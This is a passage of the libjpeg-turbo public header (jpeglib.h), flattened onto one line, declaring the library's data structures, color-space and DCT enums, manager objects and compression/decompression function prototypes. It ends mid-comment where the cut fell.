/* Huffman coding tables. */ typedef struct { /* These two fields directly represent the contents of a JPEG DHT marker */ UINT8 bits[17]; /* bits[k] = # of symbols with codes of */ /* length k bits; bits[0] is unused */ UINT8 huffval[256]; /* The symbols, in order of incr code length */ /* This field is used only during compression. It's initialized FALSE when * the table is created, and set TRUE when it's been output to the file. * You could suppress output of a table by setting this to TRUE. * (See jpeg_suppress_tables for an example.) */ boolean sent_table; /* TRUE when table has been output */ } JHUFF_TBL; /* Basic info about one component (color channel). */ typedef struct { /* These values are fixed over the whole image. */ /* For compression, they must be supplied by parameter setup; */ /* for decompression, they are read from the SOF marker. */ int component_id; /* identifier for this component (0..255) */ int component_index; /* its index in SOF or cinfo->comp_info[] */ int h_samp_factor; /* horizontal sampling factor (1..4) */ int v_samp_factor; /* vertical sampling factor (1..4) */ int quant_tbl_no; /* quantization table selector (0..3) */ /* These values may vary between scans. */ /* For compression, they must be supplied by parameter setup; */ /* for decompression, they are read from the SOS marker. */ /* The decompressor output side may not use these variables. */ int dc_tbl_no; /* DC entropy table selector (0..3) */ int ac_tbl_no; /* AC entropy table selector (0..3) */ /* Remaining fields should be treated as private by applications. */ /* These values are computed during compression or decompression startup: */ /* Component's size in DCT blocks. * Any dummy blocks added to complete an MCU are not counted; therefore * these values do not depend on whether a scan is interleaved or not. */ JDIMENSION width_in_blocks; JDIMENSION height_in_blocks; /* Size of a DCT block in samples. Always DCTSIZE for compression. * For decompression this is the size of the output from one DCT block, * reflecting any scaling we choose to apply during the IDCT step. * Values from 1 to 16 are supported. * Note that different components may receive different IDCT scalings. */ #if JPEG_LIB_VERSION >= 70 int DCT_h_scaled_size; int DCT_v_scaled_size; #else int DCT_scaled_size; #endif /* The downsampled dimensions are the component's actual, unpadded number * of samples at the main buffer (preprocessing/compression interface), thus * downsampled_width = ceil(image_width * Hi/Hmax) * and similarly for height. For decompression, IDCT scaling is included, so * downsampled_width = ceil(image_width * Hi/Hmax * DCT_[h_]scaled_size/DCTSIZE) */ JDIMENSION downsampled_width; /* actual width in samples */ JDIMENSION downsampled_height; /* actual height in samples */ /* This flag is used only for decompression. In cases where some of the * components will be ignored (eg grayscale output from YCbCr image), * we can skip most computations for the unused components. */ boolean component_needed; /* do we need the value of this component? */ /* These values are computed before starting a scan of the component. */ /* The decompressor output side may not use these variables. */ int MCU_width; /* number of blocks per MCU, horizontally */ int MCU_height; /* number of blocks per MCU, vertically */ int MCU_blocks; /* MCU_width * MCU_height */ int MCU_sample_width; /* MCU width in samples, MCU_width*DCT_[h_]scaled_size */ int last_col_width; /* # of non-dummy blocks across in last MCU */ int last_row_height; /* # of non-dummy blocks down in last MCU */ /* Saved quantization table for component; NULL if none yet saved. * See jdinput.c comments about the need for this information. * This field is currently used only for decompression. */ JQUANT_TBL *quant_table; /* Private per-component storage for DCT or IDCT subsystem. */ void *dct_table; } jpeg_component_info; /* The script for encoding a multiple-scan file is an array of these: */ typedef struct { int comps_in_scan; /* number of components encoded in this scan */ int component_index[MAX_COMPS_IN_SCAN]; /* their SOF/comp_info[] indexes */ int Ss, Se; /* progressive JPEG spectral selection parms */ int Ah, Al; /* progressive JPEG successive approx. parms */ } jpeg_scan_info; /* The decompressor can save APPn and COM markers in a list of these: */ typedef struct jpeg_marker_struct *jpeg_saved_marker_ptr; struct jpeg_marker_struct { jpeg_saved_marker_ptr next; /* next in list, or NULL */ UINT8 marker; /* marker code: JPEG_COM, or JPEG_APP0+n */ unsigned int original_length; /* # bytes of data in the file */ unsigned int data_length; /* # bytes of data saved at data[] */ JOCTET *data; /* the data contained in the marker */ /* the marker length word is not counted in data_length or original_length */ }; /* Known color spaces. */ #define JCS_EXTENSIONS 1 #define JCS_ALPHA_EXTENSIONS 1 typedef enum { JCS_UNKNOWN, /* error/unspecified */ JCS_GRAYSCALE, /* monochrome */ JCS_RGB, /* red/green/blue as specified by the RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE macros */ JCS_YCbCr, /* Y/Cb/Cr (also known as YUV) */ JCS_CMYK, /* C/M/Y/K */ JCS_YCCK, /* Y/Cb/Cr/K */ JCS_EXT_RGB, /* red/green/blue */ JCS_EXT_RGBX, /* red/green/blue/x */ JCS_EXT_BGR, /* blue/green/red */ JCS_EXT_BGRX, /* blue/green/red/x */ JCS_EXT_XBGR, /* x/blue/green/red */ JCS_EXT_XRGB, /* x/red/green/blue */ /* When out_color_space it set to JCS_EXT_RGBX, JCS_EXT_BGRX, JCS_EXT_XBGR, or JCS_EXT_XRGB during decompression, the X byte is undefined, and in order to ensure the best performance, libjpeg-turbo can set that byte to whatever value it wishes. Use the following colorspace constants to ensure that the X byte is set to 0xFF, so that it can be interpreted as an opaque alpha channel. */ JCS_EXT_RGBA, /* red/green/blue/alpha */ JCS_EXT_BGRA, /* blue/green/red/alpha */ JCS_EXT_ABGR, /* alpha/blue/green/red */ JCS_EXT_ARGB, /* alpha/red/green/blue */ JCS_RGB565 /* 5-bit red/6-bit green/5-bit blue */ } J_COLOR_SPACE; /* DCT/IDCT algorithm options. */ typedef enum { JDCT_ISLOW, /* slow but accurate integer algorithm */ JDCT_IFAST, /* faster, less accurate integer method */ JDCT_FLOAT /* floating-point: accurate, fast on fast HW */ } J_DCT_METHOD; #ifndef JDCT_DEFAULT /* may be overridden in jconfig.h */ #define JDCT_DEFAULT JDCT_ISLOW #endif #ifndef JDCT_FASTEST /* may be overridden in jconfig.h */ #define JDCT_FASTEST JDCT_IFAST #endif /* Dithering options for decompression. */ typedef enum { JDITHER_NONE, /* no dithering */ JDITHER_ORDERED, /* simple ordered dither */ JDITHER_FS /* Floyd-Steinberg error diffusion dither */ } J_DITHER_MODE; /* Common fields between JPEG compression and decompression master structs. */ #define jpeg_common_fields \ struct jpeg_error_mgr *err; /* Error handler module */\ struct jpeg_memory_mgr *mem; /* Memory manager module */\ struct jpeg_progress_mgr *progress; /* Progress monitor, or NULL if none */\ void *client_data; /* Available for use by application */\ boolean is_decompressor; /* So common code can tell which is which */\ int global_state /* For checking call sequence validity */ /* Routines that are to be used by both halves of the library are declared * to receive a pointer to this structure. There are no actual instances of * jpeg_common_struct, only of jpeg_compress_struct and jpeg_decompress_struct. */ struct jpeg_common_struct { jpeg_common_fields; /* Fields common to both master struct types */ /* Additional fields follow in an actual jpeg_compress_struct or * jpeg_decompress_struct. All three structs must agree on these * initial fields! (This would be a lot cleaner in C++.) */ }; typedef struct jpeg_common_struct *j_common_ptr; typedef struct jpeg_compress_struct *j_compress_ptr; typedef struct jpeg_decompress_struct *j_decompress_ptr; /* Master record for a compression instance */ struct jpeg_compress_struct { jpeg_common_fields; /* Fields shared with jpeg_decompress_struct */ /* Destination for compressed data */ struct jpeg_destination_mgr *dest; /* Description of source image --- these fields must be filled in by * outer application before starting compression. in_color_space must * be correct before you can even call jpeg_set_defaults(). */ JDIMENSION image_width; /* input image width */ JDIMENSION image_height; /* input image height */ int input_components; /* # of color components in input image */ J_COLOR_SPACE in_color_space; /* colorspace of input image */ double input_gamma; /* image gamma of input image */ /* Compression parameters --- these fields must be set before calling * jpeg_start_compress(). We recommend calling jpeg_set_defaults() to * initialize everything to reasonable defaults, then changing anything * the application specifically wants to change. That way you won't get * burnt when new parameters are added. Also note that there are several * helper routines to simplify changing parameters. */ #if JPEG_LIB_VERSION >= 70 unsigned int scale_num, scale_denom; /* fraction by which to scale image */ JDIMENSION jpeg_width; /* scaled JPEG image width */ JDIMENSION jpeg_height; /* scaled JPEG image height */ /* Dimensions of actual JPEG image that will be written to file, * derived from input dimensions by scaling factors above. * These fields are computed by jpeg_start_compress(). * You can also use jpeg_calc_jpeg_dimensions() to determine these values * in advance of calling jpeg_start_compress(). */ #endif int data_precision; /* bits of precision in image data */ int num_components; /* # of color components in JPEG image */ J_COLOR_SPACE jpeg_color_space; /* colorspace of JPEG image */ jpeg_component_info *comp_info; /* comp_info[i] describes component that appears i'th in SOF */ JQUANT_TBL *quant_tbl_ptrs[NUM_QUANT_TBLS]; #if JPEG_LIB_VERSION >= 70 int q_scale_factor[NUM_QUANT_TBLS]; #endif /* ptrs to coefficient quantization tables, or NULL if not defined, * and corresponding scale factors (percentage, initialized 100). */ JHUFF_TBL *dc_huff_tbl_ptrs[NUM_HUFF_TBLS]; JHUFF_TBL *ac_huff_tbl_ptrs[NUM_HUFF_TBLS]; /* ptrs to Huffman coding tables, or NULL if not defined */ UINT8 arith_dc_L[NUM_ARITH_TBLS]; /* L values for DC arith-coding tables */ UINT8 arith_dc_U[NUM_ARITH_TBLS]; /* U values for DC arith-coding tables */ UINT8 arith_ac_K[NUM_ARITH_TBLS]; /* Kx values for AC arith-coding tables */ int num_scans; /* # of entries in scan_info array */ const jpeg_scan_info *scan_info; /* script for multi-scan file, or NULL */ /* The default value of scan_info is NULL, which causes a single-scan * sequential JPEG file to be emitted. To create a multi-scan file, * set num_scans and scan_info to point to an array of scan definitions. */ boolean raw_data_in; /* TRUE=caller supplies downsampled data */ boolean arith_code; /* TRUE=arithmetic coding, FALSE=Huffman */ boolean optimize_coding; /* TRUE=optimize entropy encoding parms */ boolean CCIR601_sampling; /* TRUE=first samples are cosited */ #if JPEG_LIB_VERSION >= 70 boolean do_fancy_downsampling; /* TRUE=apply fancy downsampling */ #endif int smoothing_factor; /* 1..100, or 0 for no input smoothing */ J_DCT_METHOD dct_method; /* DCT algorithm selector */ /* The restart interval can be specified in absolute MCUs by setting * restart_interval, or in MCU rows by setting restart_in_rows * (in which case the correct restart_interval will be figured * for each scan). */ unsigned int restart_interval; /* MCUs per restart, or 0 for no restart */ int restart_in_rows; /* if > 0, MCU rows per restart interval */ /* Parameters controlling emission of special markers. */ boolean write_JFIF_header; /* should a JFIF marker be written? */ UINT8 JFIF_major_version; /* What to write for the JFIF version number */ UINT8 JFIF_minor_version; /* These three values are not used by the JPEG code, merely copied */ /* into the JFIF APP0 marker. density_unit can be 0 for unknown, */ /* 1 for dots/inch, or 2 for dots/cm. Note that the pixel aspect */ /* ratio is defined by X_density/Y_density even when density_unit=0. */ UINT8 density_unit; /* JFIF code for pixel size units */ UINT16 X_density; /* Horizontal pixel density */ UINT16 Y_density; /* Vertical pixel density */ boolean write_Adobe_marker; /* should an Adobe marker be written? */ /* State variable: index of next scanline to be written to * jpeg_write_scanlines(). Application may use this to control its * processing loop, e.g., "while (next_scanline < image_height)". */ JDIMENSION next_scanline; /* 0 .. image_height-1 */ /* Remaining fields are known throughout compressor, but generally * should not be touched by a surrounding application. */ /* * These fields are computed during compression startup */ boolean progressive_mode; /* TRUE if scan script uses progressive mode */ int max_h_samp_factor; /* largest h_samp_factor */ int max_v_samp_factor; /* largest v_samp_factor */ #if JPEG_LIB_VERSION >= 70 int min_DCT_h_scaled_size; /* smallest DCT_h_scaled_size of any component */ int min_DCT_v_scaled_size; /* smallest DCT_v_scaled_size of any component */ #endif JDIMENSION total_iMCU_rows; /* # of iMCU rows to be input to coef ctlr */ /* The coefficient controller receives data in units of MCU rows as defined * for fully interleaved scans (whether the JPEG file is interleaved or not). * There are v_samp_factor * DCTSIZE sample rows of each component in an * "iMCU" (interleaved MCU) row. */ /* * These fields are valid during any one scan. * They describe the components and MCUs actually appearing in the scan. */ int comps_in_scan; /* # of JPEG components in this scan */ jpeg_component_info *cur_comp_info[MAX_COMPS_IN_SCAN]; /* *cur_comp_info[i] describes component that appears i'th in SOS */ JDIMENSION MCUs_per_row; /* # of MCUs across the image */ JDIMENSION MCU_rows_in_scan; /* # of MCU rows in the image */ int blocks_in_MCU; /* # of DCT blocks per MCU */ int MCU_membership[C_MAX_BLOCKS_IN_MCU]; /* MCU_membership[i] is index in cur_comp_info of component owning */ /* i'th block in an MCU */ int Ss, Se, Ah, Al; /* progressive JPEG parameters for scan */ #if JPEG_LIB_VERSION >= 80 int block_size; /* the basic DCT block size: 1..16 */ const int *natural_order; /* natural-order position array */ int lim_Se; /* min( Se, DCTSIZE2-1 ) */ #endif /* * Links to compression subobjects (methods and private variables of modules) */ struct jpeg_comp_master *master; struct jpeg_c_main_controller *main; struct jpeg_c_prep_controller *prep; struct jpeg_c_coef_controller *coef; struct jpeg_marker_writer *marker; struct jpeg_color_converter *cconvert; struct jpeg_downsampler *downsample; struct jpeg_forward_dct *fdct; struct jpeg_entropy_encoder *entropy; jpeg_scan_info *script_space; /* workspace for jpeg_simple_progression */ int script_space_size; }; /* Master record for a decompression instance */ struct jpeg_decompress_struct { jpeg_common_fields; /* Fields shared with jpeg_compress_struct */ /* Source of compressed data */ struct jpeg_source_mgr *src; /* Basic description of image --- filled in by jpeg_read_header(). */ /* Application may inspect these values to decide how to process image. */ JDIMENSION image_width; /* nominal image width (from SOF marker) */ JDIMENSION image_height; /* nominal image height */ int num_components; /* # of color components in JPEG image */ J_COLOR_SPACE jpeg_color_space; /* colorspace of JPEG image */ /* Decompression processing parameters --- these fields must be set before * calling jpeg_start_decompress(). Note that jpeg_read_header() initializes * them to default values. */ J_COLOR_SPACE out_color_space; /* colorspace for output */ unsigned int scale_num, scale_denom; /* fraction by which to scale image */ double output_gamma; /* image gamma wanted in output */ boolean buffered_image; /* TRUE=multiple output passes */ boolean raw_data_out; /* TRUE=downsampled data wanted */ J_DCT_METHOD dct_method; /* IDCT algorithm selector */ boolean do_fancy_upsampling; /* TRUE=apply fancy upsampling */ boolean do_block_smoothing; /* TRUE=apply interblock smoothing */ boolean quantize_colors; /* TRUE=colormapped output wanted */ /* the following are ignored if not quantize_colors: */ J_DITHER_MODE dither_mode; /* type of color dithering to use */ boolean two_pass_quantize; /* TRUE=use two-pass color quantization */ int desired_number_of_colors; /* max # colors to use in created colormap */ /* these are significant only in buffered-image mode: */ boolean enable_1pass_quant; /* enable future use of 1-pass quantizer */ boolean enable_external_quant;/* enable future use of external colormap */ boolean enable_2pass_quant; /* enable future use of 2-pass quantizer */ /* Description of actual output image that will be returned to application. * These fields are computed by jpeg_start_decompress(). * You can also use jpeg_calc_output_dimensions() to determine these values * in advance of calling jpeg_start_decompress(). */ JDIMENSION output_width; /* scaled image width */ JDIMENSION output_height; /* scaled image height */ int out_color_components; /* # of color components in out_color_space */ int output_components; /* # of color components returned */ /* output_components is 1 (a colormap index) when quantizing colors; * otherwise it equals out_color_components. */ int rec_outbuf_height; /* min recommended height of scanline buffer */ /* If the buffer passed to jpeg_read_scanlines() is less than this many rows * high, space and time will be wasted due to unnecessary data copying. * Usually rec_outbuf_height will be 1 or 2, at most 4. */ /* When quantizing colors, the output colormap is described by these fields. * The application can supply a colormap by setting colormap non-NULL before * calling jpeg_start_decompress; otherwise a colormap is created during * jpeg_start_decompress or jpeg_start_output. * The map has out_color_components rows and actual_number_of_colors columns. */ int actual_number_of_colors; /* number of entries in use */ JSAMPARRAY colormap; /* The color map as a 2-D pixel array */ /* State variables: these variables indicate the progress of decompression. * The application may examine these but must not modify them. */ /* Row index of next scanline to be read from jpeg_read_scanlines(). * Application may use this to control its processing loop, e.g., * "while (output_scanline < output_height)". */ JDIMENSION output_scanline; /* 0 .. output_height-1 */ /* Current input scan number and number of iMCU rows completed in scan. * These indicate the progress of the decompressor input side. */ int input_scan_number; /* Number of SOS markers seen so far */ JDIMENSION input_iMCU_row; /* Number of iMCU rows completed */ /* The "output scan number" is the notional scan being displayed by the * output side. The decompressor will not allow output scan/row number * to get ahead of input scan/row, but it can fall arbitrarily far behind. */ int output_scan_number; /* Nominal scan number being displayed */ JDIMENSION output_iMCU_row; /* Number of iMCU rows read */ /* Current progression status. coef_bits[c][i] indicates the precision * with which component c's DCT coefficient i (in zigzag order) is known. * It is -1 when no data has yet been received, otherwise it is the point * transform (shift) value for the most recent scan of the coefficient * (thus, 0 at completion of the progression). * This pointer is NULL when reading a non-progressive file. */ int (*coef_bits)[DCTSIZE2]; /* -1 or current Al value for each coef */ /* Internal JPEG parameters --- the application usually need not look at * these fields. Note that the decompressor output side may not use * any parameters that can change between scans. */ /* Quantization and Huffman tables are carried forward across input * datastreams when processing abbreviated JPEG datastreams. */ JQUANT_TBL *quant_tbl_ptrs[NUM_QUANT_TBLS]; /* ptrs to coefficient quantization tables, or NULL if not defined */ JHUFF_TBL *dc_huff_tbl_ptrs[NUM_HUFF_TBLS]; JHUFF_TBL *ac_huff_tbl_ptrs[NUM_HUFF_TBLS]; /* ptrs to Huffman coding tables, or NULL if not defined */ /* These parameters are never carried across datastreams, since they * are given in SOF/SOS markers or defined to be reset by SOI. */ int data_precision; /* bits of precision in image data */ jpeg_component_info *comp_info; /* comp_info[i] describes component that appears i'th in SOF */ #if JPEG_LIB_VERSION >= 80 boolean is_baseline; /* TRUE if Baseline SOF0 encountered */ #endif boolean progressive_mode; /* TRUE if SOFn specifies progressive mode */ boolean arith_code; /* TRUE=arithmetic coding, FALSE=Huffman */ UINT8 arith_dc_L[NUM_ARITH_TBLS]; /* L values for DC arith-coding tables */ UINT8 arith_dc_U[NUM_ARITH_TBLS]; /* U values for DC arith-coding tables */ UINT8 arith_ac_K[NUM_ARITH_TBLS]; /* Kx values for AC arith-coding tables */ unsigned int restart_interval; /* MCUs per restart interval, or 0 for no restart */ /* These fields record data obtained from optional markers recognized by * the JPEG library. */ boolean saw_JFIF_marker; /* TRUE iff a JFIF APP0 marker was found */ /* Data copied from JFIF marker; only valid if saw_JFIF_marker is TRUE: */ UINT8 JFIF_major_version; /* JFIF version number */ UINT8 JFIF_minor_version; UINT8 density_unit; /* JFIF code for pixel size units */ UINT16 X_density; /* Horizontal pixel density */ UINT16 Y_density; /* Vertical pixel density */ boolean saw_Adobe_marker; /* TRUE iff an Adobe APP14 marker was found */ UINT8 Adobe_transform; /* Color transform code from Adobe marker */ boolean CCIR601_sampling; /* TRUE=first samples are cosited */ /* Aside from the specific data retained from APPn markers known to the * library, the uninterpreted contents of any or all APPn and COM markers * can be saved in a list for examination by the application. */ jpeg_saved_marker_ptr marker_list; /* Head of list of saved markers */ /* Remaining fields are known throughout decompressor, but generally * should not be touched by a surrounding application. */ /* * These fields are computed during decompression startup */ int max_h_samp_factor; /* largest h_samp_factor */ int max_v_samp_factor; /* largest v_samp_factor */ #if JPEG_LIB_VERSION >= 70 int min_DCT_h_scaled_size; /* smallest DCT_h_scaled_size of any component */ int min_DCT_v_scaled_size; /* smallest DCT_v_scaled_size of any component */ #else int min_DCT_scaled_size; /* smallest DCT_scaled_size of any component */ #endif JDIMENSION total_iMCU_rows; /* # of iMCU rows in image */ /* The coefficient controller's input and output progress is measured in * units of "iMCU" (interleaved MCU) rows. These are the same as MCU rows * in fully interleaved JPEG scans, but are used whether the scan is * interleaved or not. We define an iMCU row as v_samp_factor DCT block * rows of each component. Therefore, the IDCT output contains * v_samp_factor*DCT_[v_]scaled_size sample rows of a component per iMCU row. */ JSAMPLE *sample_range_limit; /* table for fast range-limiting */ /* * These fields are valid during any one scan. * They describe the components and MCUs actually appearing in the scan. * Note that the decompressor output side must not use these fields. */ int comps_in_scan; /* # of JPEG components in this scan */ jpeg_component_info *cur_comp_info[MAX_COMPS_IN_SCAN]; /* *cur_comp_info[i] describes component that appears i'th in SOS */ JDIMENSION MCUs_per_row; /* # of MCUs across the image */ JDIMENSION MCU_rows_in_scan; /* # of MCU rows in the image */ int blocks_in_MCU; /* # of DCT blocks per MCU */ int MCU_membership[D_MAX_BLOCKS_IN_MCU]; /* MCU_membership[i] is index in cur_comp_info of component owning */ /* i'th block in an MCU */ int Ss, Se, Ah, Al; /* progressive JPEG parameters for scan */ #if JPEG_LIB_VERSION >= 80 /* These fields are derived from Se of first SOS marker. */ int block_size; /* the basic DCT block size: 1..16 */ const int *natural_order; /* natural-order position array for entropy decode */ int lim_Se; /* min( Se, DCTSIZE2-1 ) for entropy decode */ #endif /* This field is shared between entropy decoder and marker parser. * It is either zero or the code of a JPEG marker that has been * read from the data source, but has not yet been processed. */ int unread_marker; /* * Links to decompression subobjects (methods, private variables of modules) */ struct jpeg_decomp_master *master; struct jpeg_d_main_controller *main; struct jpeg_d_coef_controller *coef; struct jpeg_d_post_controller *post; struct jpeg_input_controller *inputctl; struct jpeg_marker_reader *marker; struct jpeg_entropy_decoder *entropy; struct jpeg_inverse_dct *idct; struct jpeg_upsampler *upsample; struct jpeg_color_deconverter *cconvert; struct jpeg_color_quantizer *cquantize; }; /* "Object" declarations for JPEG modules that may be supplied or called * directly by the surrounding application. * As with all objects in the JPEG library, these structs only define the * publicly visible methods and state variables of a module. Additional * private fields may exist after the public ones. */ /* Error handler object */ struct jpeg_error_mgr { /* Error exit handler: does not return to caller */ void (*error_exit) (j_common_ptr cinfo); /* Conditionally emit a trace or warning message */ void (*emit_message) (j_common_ptr cinfo, int msg_level); /* Routine that actually outputs a trace or error message */ void (*output_message) (j_common_ptr cinfo); /* Format a message string for the most recent JPEG error or message */ void (*format_message) (j_common_ptr cinfo, char *buffer); #define JMSG_LENGTH_MAX 200 /* recommended size of format_message buffer */ /* Reset error state variables at start of a new image */ void (*reset_error_mgr) (j_common_ptr cinfo); /* The message ID code and any parameters are saved here. * A message can have one string parameter or up to 8 int parameters. */ int msg_code; #define JMSG_STR_PARM_MAX 80 union { int i[8]; char s[JMSG_STR_PARM_MAX]; } msg_parm; /* Standard state variables for error facility */ int trace_level; /* max msg_level that will be displayed */ /* For recoverable corrupt-data errors, we emit a warning message, * but keep going unless emit_message chooses to abort. emit_message * should count warnings in num_warnings. The surrounding application * can check for bad data by seeing if num_warnings is nonzero at the * end of processing. */ long num_warnings; /* number of corrupt-data warnings */ /* These fields point to the table(s) of error message strings. * An application can change the table pointer to switch to a different * message list (typically, to change the language in which errors are * reported). Some applications may wish to add additional error codes * that will be handled by the JPEG library error mechanism; the second * table pointer is used for this purpose. * * First table includes all errors generated by JPEG library itself. * Error code 0 is reserved for a "no such error string" message. */ const char * const *jpeg_message_table; /* Library errors */ int last_jpeg_message; /* Table contains strings 0..last_jpeg_message */ /* Second table can be added by application (see cjpeg/djpeg for example). * It contains strings numbered first_addon_message..last_addon_message. */ const char * const *addon_message_table; /* Non-library errors */ int first_addon_message; /* code for first string in addon table */ int last_addon_message; /* code for last string in addon table */ }; /* Progress monitor object */ struct jpeg_progress_mgr { void (*progress_monitor) (j_common_ptr cinfo); long pass_counter; /* work units completed in this pass */ long pass_limit; /* total number of work units in this pass */ int completed_passes; /* passes completed so far */ int total_passes; /* total number of passes expected */ }; /* Data destination object for compression */ struct jpeg_destination_mgr { JOCTET *next_output_byte; /* => next byte to write in buffer */ size_t free_in_buffer; /* # of byte spaces remaining in buffer */ void (*init_destination) (j_compress_ptr cinfo); boolean (*empty_output_buffer) (j_compress_ptr cinfo); void (*term_destination) (j_compress_ptr cinfo); }; /* Data source object for decompression */ struct jpeg_source_mgr { const JOCTET *next_input_byte; /* => next byte to read from buffer */ size_t bytes_in_buffer; /* # of bytes remaining in buffer */ void (*init_source) (j_decompress_ptr cinfo); boolean (*fill_input_buffer) (j_decompress_ptr cinfo); void (*skip_input_data) (j_decompress_ptr cinfo, long num_bytes); boolean (*resync_to_restart) (j_decompress_ptr cinfo, int desired); void (*term_source) (j_decompress_ptr cinfo); }; /* Memory manager object. * Allocates "small" objects (a few K total), "large" objects (tens of K), * and "really big" objects (virtual arrays with backing store if needed). * The memory manager does not allow individual objects to be freed; rather, * each created object is assigned to a pool, and whole pools can be freed * at once. This is faster and more convenient than remembering exactly what * to free, especially where malloc()/free() are not too speedy. * NB: alloc routines never return NULL. They exit to error_exit if not * successful. */ #define JPOOL_PERMANENT 0 /* lasts until master record is destroyed */ #define JPOOL_IMAGE 1 /* lasts until done with image/datastream */ #define JPOOL_NUMPOOLS 2 typedef struct jvirt_sarray_control *jvirt_sarray_ptr; typedef struct jvirt_barray_control *jvirt_barray_ptr; struct jpeg_memory_mgr { /* Method pointers */ void *(*alloc_small) (j_common_ptr cinfo, int pool_id, size_t sizeofobject); void *(*alloc_large) (j_common_ptr cinfo, int pool_id, size_t sizeofobject); JSAMPARRAY (*alloc_sarray) (j_common_ptr cinfo, int pool_id, JDIMENSION samplesperrow, JDIMENSION numrows); JBLOCKARRAY (*alloc_barray) (j_common_ptr cinfo, int pool_id, JDIMENSION blocksperrow, JDIMENSION numrows); jvirt_sarray_ptr (*request_virt_sarray) (j_common_ptr cinfo, int pool_id, boolean pre_zero, JDIMENSION samplesperrow, JDIMENSION numrows, JDIMENSION maxaccess); jvirt_barray_ptr (*request_virt_barray) (j_common_ptr cinfo, int pool_id, boolean pre_zero, JDIMENSION blocksperrow, JDIMENSION numrows, JDIMENSION maxaccess); void (*realize_virt_arrays) (j_common_ptr cinfo); JSAMPARRAY (*access_virt_sarray) (j_common_ptr cinfo, jvirt_sarray_ptr ptr, JDIMENSION start_row, JDIMENSION num_rows, boolean writable); JBLOCKARRAY (*access_virt_barray) (j_common_ptr cinfo, jvirt_barray_ptr ptr, JDIMENSION start_row, JDIMENSION num_rows, boolean writable); void (*free_pool) (j_common_ptr cinfo, int pool_id); void (*self_destruct) (j_common_ptr cinfo); /* Limit on memory allocation for this JPEG object. (Note that this is * merely advisory, not a guaranteed maximum; it only affects the space * used for virtual-array buffers.) May be changed by outer application * after creating the JPEG object. */ long max_memory_to_use; /* Maximum allocation request accepted by alloc_large. */ long max_alloc_chunk; }; /* Routine signature for application-supplied marker processing methods. * Need not pass marker code since it is stored in cinfo->unread_marker. */ typedef boolean (*jpeg_marker_parser_method) (j_decompress_ptr cinfo); /* Originally, this macro was used as a way of defining function prototypes * for both modern compilers as well as older compilers that did not support * prototype parameters. libjpeg-turbo has never supported these older, * non-ANSI compilers, but the macro is still included because there is some * software out there that uses it. */ #define JPP(arglist) arglist /* Default error-management setup */ EXTERN(struct jpeg_error_mgr *) jpeg_std_error (struct jpeg_error_mgr *err); /* Initialization of JPEG compression objects. * jpeg_create_compress() and jpeg_create_decompress() are the exported * names that applications should call. These expand to calls on * jpeg_CreateCompress and jpeg_CreateDecompress with additional information * passed for version mismatch checking. * NB: you must set up the error-manager BEFORE calling jpeg_create_xxx. */ #define jpeg_create_compress(cinfo) \ jpeg_CreateCompress((cinfo), JPEG_LIB_VERSION, \ (size_t) sizeof(struct jpeg_compress_struct)) #define jpeg_create_decompress(cinfo) \ jpeg_CreateDecompress((cinfo), JPEG_LIB_VERSION, \ (size_t) sizeof(struct jpeg_decompress_struct)) EXTERN(void) jpeg_CreateCompress (j_compress_ptr cinfo, int version, size_t structsize); EXTERN(void) jpeg_CreateDecompress (j_decompress_ptr cinfo, int version, size_t structsize); /* Destruction of JPEG compression objects */ EXTERN(void) jpeg_destroy_compress (j_compress_ptr cinfo); EXTERN(void) jpeg_destroy_decompress (j_decompress_ptr cinfo); /* Standard data source and destination managers: stdio streams. */ /* Caller is responsible for opening the file before and closing after. */ EXTERN(void) jpeg_stdio_dest (j_compress_ptr cinfo, FILE *outfile); EXTERN(void) jpeg_stdio_src (j_decompress_ptr cinfo, FILE *infile); #if JPEG_LIB_VERSION >= 80 || defined(MEM_SRCDST_SUPPORTED) /* Data source and destination managers: memory buffers. */ EXTERN(void) jpeg_mem_dest (j_compress_ptr cinfo, unsigned char **outbuffer, unsigned long *outsize); EXTERN(void) jpeg_mem_src (j_decompress_ptr cinfo, const unsigned char *inbuffer, unsigned long insize); #endif /* Default parameter setup for compression */ EXTERN(void) jpeg_set_defaults (j_compress_ptr cinfo); /* Compression parameter setup aids */ EXTERN(void) jpeg_set_colorspace (j_compress_ptr cinfo, J_COLOR_SPACE colorspace); EXTERN(void) jpeg_default_colorspace (j_compress_ptr cinfo); EXTERN(void) jpeg_set_quality (j_compress_ptr cinfo, int quality, boolean force_baseline); EXTERN(void) jpeg_set_linear_quality (j_compress_ptr cinfo, int scale_factor, boolean force_baseline); #if JPEG_LIB_VERSION >= 70 EXTERN(void) jpeg_default_qtables (j_compress_ptr cinfo, boolean force_baseline); #endif EXTERN(void) jpeg_add_quant_table (j_compress_ptr cinfo, int which_tbl, const unsigned int *basic_table, int scale_factor, boolean force_baseline); EXTERN(int) jpeg_quality_scaling (int quality); EXTERN(void) jpeg_simple_progression (j_compress_ptr cinfo); EXTERN(void) jpeg_suppress_tables (j_compress_ptr cinfo, boolean suppress); EXTERN(JQUANT_TBL *) jpeg_alloc_quant_table (j_common_ptr cinfo); EXTERN(JHUFF_TBL *) jpeg_alloc_huff_table (j_common_ptr cinfo); /* Main entry points for compression */ EXTERN(void) jpeg_start_compress (j_compress_ptr cinfo, boolean write_all_tables); EXTERN(JDIMENSION) jpeg_write_scanlines (j_compress_ptr cinfo, JSAMPARRAY scanlines, JDIMENSION num_lines); EXTERN(void) jpeg_finish_compress (j_compress_ptr cinfo); #if JPEG_LIB_VERSION >= 70 /* Precalculate JPEG dimensions for current compression parameters. */ EXTERN(void) jpeg_calc_jpeg_dimensions (j_compress_ptr cinfo); #endif /* Replaces jpeg_write_scanlines when writing raw downsampled data. */ EXTERN(JDIMENSION) jpeg_write_raw_data (j_compress_ptr cinfo, JSAMPIMAGE data, JDIMENSION num_lines); /* Write a special marker. See libjpeg.txt concerning safe usage. */ EXTERN(void) jpeg_write_marker (j_compress_ptr cinfo, int marker, const JOCTET *dataptr, unsigned int datalen); /* Same, but piecemeal. */ EXTERN(void) jpeg_write_m_header (j_compress_ptr cinfo, int marker, unsigned int datalen); EXTERN(void) jpeg_write_m_byte (j_compress_ptr cinfo, int val); /* Alternate compression function: just write an abbreviated table file */ EXTERN(void) jpeg_write_tables (j_compress_ptr cinfo); /* Decompression startup: read start of JPEG datastream to see what's there */ EXTERN(int) jpeg_read_header (j_decompress_ptr cinfo, boolean require_image); /* Return value is one of: */ #define JPEG_SUSPENDED 0 /* Suspended due to lack of input data */ #define JPEG_HEADER_OK 1 /* Found valid image datastream */ #define JPEG_HEADER_TABLES_ONLY 2 /* Found valid table-specs-only datastream */ /* If 